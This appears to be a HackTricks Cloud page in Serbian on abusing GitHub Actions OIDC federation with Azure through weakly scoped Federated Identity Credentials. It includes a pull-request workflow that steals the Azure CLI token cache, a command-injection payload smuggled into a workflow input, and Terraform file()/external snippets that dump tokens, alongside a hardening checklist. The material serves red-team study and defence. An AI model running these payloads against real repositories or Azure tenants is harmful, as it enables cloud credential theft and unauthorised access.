Azure – Federation Abuse (GitHub Actions OIDC / Workload Identity)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Pregled
GitHub Actions može da se federira sa Azure Entra ID (ranije Azure AD) koristeći OpenID Connect (OIDC). GitHub workflow zahteva kratkotrajan GitHub ID token (JWT) koji enkodira detalje o izvršavanju. Azure validira ovaj token u odnosu na Federated Identity Credential (FIC) na App Registration (service principal) i razmenjuje ga za Azure access tokens (MSAL cache, bearer tokens for Azure APIs).
Azure validira bar:
- iss: https://token.actions.githubusercontent.com
- aud: api://AzureADTokenExchange (kada se razmenjuje za Azure tokens)
- sub: mora odgovarati konfigurisanoj FIC Subject identifier
Podrazumevani GitHub aud može biti GitHub URL. Kada razmenjujete sa Azure, eksplicitno postavite audience=api://AzureADTokenExchange.
GitHub ID token quick PoC
name: Print OIDC identity token
on: { workflow_dispatch: {} }
permissions:
id-token: write
jobs:
view-token:
runs-on: ubuntu-latest
steps:
- name: get-token
run: |
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
# Base64 avoid GitHub masking
echo "$OIDC_TOKEN" | base64 -w0
Da biste prisilili Azure audience prilikom zahteva za token:
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
Azure podešavanje (Workload Identity Federation)
-
Kreirajte App Registration (service principal) i dodelite najmanje privilegije (npr. Storage Blob Data Contributor na konkretnom storage account-u).
-
Dodajte Federated identity credentials:
- Issuer: https://token.actions.githubusercontent.com
- Audience: api://AzureADTokenExchange
- Subject identifier: usko ograničen na predviđeni workflow/run kontekst (pogledajte Scoping and risks dole).
- Koristite azure/login da razmenite GitHub ID token i prijavite se u Azure CLI:
name: Deploy to Azure
on:
push: { branches: [main] }
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Az CLI login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Upload file to Azure
run: |
az storage blob upload --data "test" -c hmm -n testblob \
--account-name sofiatest --auth-mode login
Primer ručne razmene (prikazan opseg Graph-a; ARM i ostali resursi slično):
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded
client_id=<app-client-id>&grant_type=client_credentials&
client_assertion=<GitHub-ID-token>&client_info=1&
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
GitHub OIDC subject (sub) anatomija i prilagođavanje
Podrazumevani format sub-a: repo:
Vrednosti za context uključuju:
- environment:
- pull_request (PR se pokreće kada nije u environment-u)
- ref:refs/(heads|tags)/
Korisni claims koji se često pojavljuju u payload-u:
- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor
Prilagodite sastav sub-a koristeći GitHub API da uključite dodatne claims i smanjite rizik od kolizije:
gh api orgs/<org>/actions/oidc/customization/sub
gh api repos/<org>/<repo>/actions/oidc/customization/sub
# Example to include owner and visibility
gh api \
--method PUT \
repos/<org>/<repo>/actions/oidc/customization/sub \
-f use_default=false \
-f include_claim_keys='["repository_owner","repository_visibility"]'
Napomena: Dvotačke u imenima okruženja su URL‑kodirane (%3A), čime su uklonjeni stariji trikovi ubacivanja delimitera koji su iskorišćavali parsiranje sub. Međutim, korišćenje nejedinstvenih subject‑ova (npr. samo environment:
Opseg i rizici FIC tipova subject-a
- Branch/Tag: sub=repo:
/ :ref:refs/heads/ or ref:refs/tags/ - Rizik: Ako je grana/tag nezaštićen, bilo koji contributor može push-ovati i dobiti tokene.
- Environment: sub=repo:
/ :environment: - Rizik: Nezaštićena okruženja (bez reviewers) omogućavaju contributor-ima da generišu tokene.
- Pull request: sub=repo:
/ :pull_request - Najveći rizik: Bilo koji collaborator može otvoriti PR i zadovoljiti FIC.
PoC: Krađa tokena pokrenuta PR‑om (exfiltrate the Azure CLI cache written by azure/login):
name: Steal tokens
on: pull_request
permissions:
id-token: write
contents: read
jobs:
extract-creds:
runs-on: ubuntu-latest
steps:
- name: azure login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Extract access token
run: |
# Azure CLI caches tokens here on Linux runners
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
# Decode twice locally to recover the bearer token
Povezane lokacije fajlova i napomene:
- Linux/macOS: ~/.azure/msal_token_cache.json sadrži MSAL tokene za az CLI sesije
- Windows: msal_token_cache.bin u korisničkom profilu; zaštićen DPAPI-jem
Reusable workflows i job_workflow_ref scoping
Pozivanje reusable workflow-a dodaje job_workflow_ref u GitHub ID token, npr.:
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
FIC primer za povezivanje i repo pozivaoca i ponovo upotrebljivog toka rada:
sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
Konfigurišite claims u repo pozivaoca tako da su i repo i job_workflow_ref prisutni u sub:
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>
{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
Upozorenje: Ako u FIC povežete samo job_workflow_ref, napadač može да kreira drugi repo u istoj organizaciji, pokrene isti reusable workflow на istom ref-u, zadovolji FIC и mint tokens. Uvek uključite i caller repo.
Vektori izvršavanja koda koji zaobilaze job_workflow_ref zaštitu
Čak i sa pravilno ograničenim job_workflow_ref, bilo koji caller‑controlled podaci koji dospeju u shell bez bezbednog citiranja mogu dovesti do izvršavanja koda unutar zaštićenog konteksta workflow-a.
Primer ranjivog reusable step-a (necitirana interpolacija):
- name: Example Security Check
run: |
echo "Checking file contents"
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
echo "Malicious content detected!"; exit 1
else
echo "File contents are safe."
fi
Zlonamerni unos pozivaoca za izvršavanje komandi i eksfiltraciju Azure token cache:
with:
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
Terraform plan kao izvršna primitiva u PR-ovima
Smatrajte Terraform plan izvršavanjem koda. Tokom faze planiranja, Terraform može:
- Čitati proizvoljne fajlove putem funkcija kao što je file()
- Izvršavati komande putem external data source
Primer za exfiltrate Azure token cache tokom planiranja:
output "msal_token_cache" {
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}
Ili koristite external za pokretanje proizvoljnih komandi:
data "external" "exfil" {
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
}
Dozvoljavanje FICs koji se mogu koristiti za planove pokrenute iz PR‑a izlaže privilegovane tokene i može pripremiti destruktivni apply kasnije. Odvojite identitete za plan i apply; nikada ne dozvolite privilegovane tokene u nepouzdanim PR kontekstima.
Kontrolna lista za jačanje bezbednosti
- Nikada ne koristite sub=…:pull_request za osetljive FICs
- Zaštitite bilo koji branch/tag/environment koji se referencira u FICs (branch protection, environment reviewers)
- Preferirajte FICs opsega i za repo i za job_workflow_ref za reusable workflows
- Prilagodite GitHub OIDC sub da uključi jedinstvene claims (npr., repo, job_workflow_ref, repository_owner)
- Eliminišite unquoted interpolation inputa pozivaoca u run steps; enkodirajte/oznakčite navodnicima bezbedno
- Smatrajte terraform plan kao izvršavanje koda; ograničite ili izolujte identitete u PR kontekstima
- Primenujte princip najmanjih privilegija na App Registrations; odvojite identitete za plan i apply
- Zaključajte actions i reusable workflows na commit SHAs (izbegavajte branch/tag pins)
Saveti za manuelno testiranje
- Zatražite GitHub ID token u workflow‑u i ispišite ga kao base64 da izbegnete masking
- Dekodirajte JWT da proverite claim‑ove: iss, aud, sub, job_workflow_ref, repository, ref
- Ručno zamenite ID token preko login.microsoftonline.com da potvrdite poklapanje FIC i scope‑ova
- Nakon azure/login, pročitajte ~/.azure/msal_token_cache.json da verifikujete prisustvo token materijala
References
- GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)
- azure/login action
- Terraform external data source
- gh CLI
- PaloAltoNetworks/github-oidc-utils
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

